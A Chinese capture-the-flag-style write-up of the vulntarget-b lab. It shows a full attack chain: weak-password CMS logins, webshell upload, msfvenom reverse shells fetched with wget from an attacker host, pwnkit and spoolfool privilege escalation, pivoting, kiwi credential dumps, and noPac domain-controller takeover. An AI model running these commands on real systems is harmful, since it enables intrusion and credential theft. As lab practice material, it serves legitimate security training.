LOADING

加载过慢请开启缓存 浏览器默认开启

vulntarget-b打靶记录

2024/8/19 打靶

‌‌vulntarget是一个漏洞靶场，旨在帮助安全专业人员练习渗透测试技术。

信息收集

Govy进行端口扫描
主要端口有3306、110、81、80、22、21端口
image

80端口为宝塔面板，81端口为极致cms
image-1720439546443

后台getshell

image-1720439550591
目录扫描发现后台
image-1720439554475
image-1720439559854
弱口令登录
admin:admin123
image-1720439564760
安装在线编辑模板
image-1720439569077
点击配置-立即提交，跳转到文件管理器
image-1720439572760
蚁剑生成一个shell复制到index.php
image-1720439575985
image-1720439579538
连接成功
image-1720439582675
执行命令提示127
image-1720439585569
使用蚁剑插件绕过，发现是是www权限
image-1720439588547

上线msf

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.23 lport=4444 -f elf > shell.elf
image-1720439592583
建立监听
use exploit/multi/handler
set lhost 192.168.1.23
set payload linux/x64/meterpreter/reverse_tcp
image-1720439596025
木马文件直接在蚁剑上传会失败，使用wget传进去
Python3 -m http.server 8080
wget http://192.168.1.23:8080/shell.elf
image-1720439603270
运行后成功上线
image-1720439608048
使用msf搜索可用提权模块
use multi/recon/local_exploit_suggester
set session 1
扫描出了7个可用提权漏洞
image-1720439612249
依次尝试
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
拿到了root权限
image-1720439616622
发现两张网卡，还有10.0.20.1段
image-1720439622180
上传fscan扫描
upload D:\fscan /www/wwwroot/jizhi/
image-1720439626289
chmod +x /www/wwwroot/jizhi/fscan
/www/wwwroot/jizhi/fscan -h 10.0.20.1/24 -np -no -nopoc >ok.txt
image-1720439630998
image-1720439640280
20.33是现在这台机器
20.66开放了3306和8080

内网机

添加路由
run autoroute -s 10.0.20.1/24
run autoroute -p
image-1720439644916
FRP代理
frps.exe -c frps.toml
image-1720439649370
frpc.exe -c frpc.toml
image-1720439651961
设置代理
image-1720439654355
访问http://10.0.20.66:8080/
发现是禅道
image-1720439657877
弱口令登录后台
admin:Admin123
image-1720439660989
版本12.4.2存在漏洞
image-1720439664327
需要远程下载一个木马，本地开一个http服务传一个木马
wget http://192.168.1.23:8080/shell.php
image-1720439669213
Base64编码
SFRUUDovLzEwLjAuMjAuMzM6ODA4MS8xMTEucGhw
构造url
http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzM6ODA4MS8xMTEucGhw
image-1720439674256
蚁剑连接
image-1720439677491
发现存在火绒
image-1720439681016
上线msf
生成的shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.33 lport=9097 -f c > 9097.c
image-1720439684075
通过内存加载过火绒
文件先传到外网机，然后使用web服务直接下载
image-1720439688937
image-1720439694961

配置监听
image-1720439714620
运行后上线
image-1720439717403
进程迁移
migrate 3092
getpid
image-1720439720360
查看ip发现10.0.10段
image-1720439725008
提权
查找可提权模块
run post/multi/recon/local_exploit_suggester
image-1720439728847
使用新一点的CVE-2022-21999
use exploit/windows/local/cve_2022_21999_spoolfool_privesc
set lhost 10.0.20.33
image-1720439732851
抓密码
load kiwi
creds_all
image-1720439736072
本地Administrator密码
759e689a07a84246d0b202a80f5fd9e335ca5392
image-1720439739893
Win101密码
bc9ecca8d006d8152bd51db558221a0540c9d604
image-1720439743454

域控

域内信息收集
run post/windows/gather/enum_domain
image-1720439746293
目前已知win101域成员密码和域控地址以及计算机名，使用CVE-2021-42287&CVE-2021-42278进行攻击

漏洞探测：
上传noPac.exe
image-1720439749545
noPac.exe scan -domain vulntarget.com -user win101 -pass “admin#123”
image-1720439754295
获取票据
noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount testTP1235 /mPassword hacker /service cifs /ptt
image-1720439758302
查看权限
dir \WIN-UH20PRD3EAO.vulntarget.com\c$
image-1720439762659
添加域管
net user admin 123K@!E /add /domain
net group “Domain Admins” admin11 /add /domain
image-1720439765615
利用psexec进行命令执行
上传psexec
upload d:\PsExec64.exe
image-1720439769492
PsExec64.exe -accepteula \10.0.10.100 -u vulntarget\admin -p 123K@!E -s cmd.exe
连接不上
image-1720439771795
添加10段的路由
run autoroute -s 10.0.10.1/24
image-1720439775425
开启msf代理
use auxiliary/server/socks_proxy
jobs
image-1720439779369
获取域控权限
proxychains4 python3 sam_the_admin.py “vulntarget.com/win101:admin#123” -dc-ip 10.0.10.100 -shell
image-1720439786097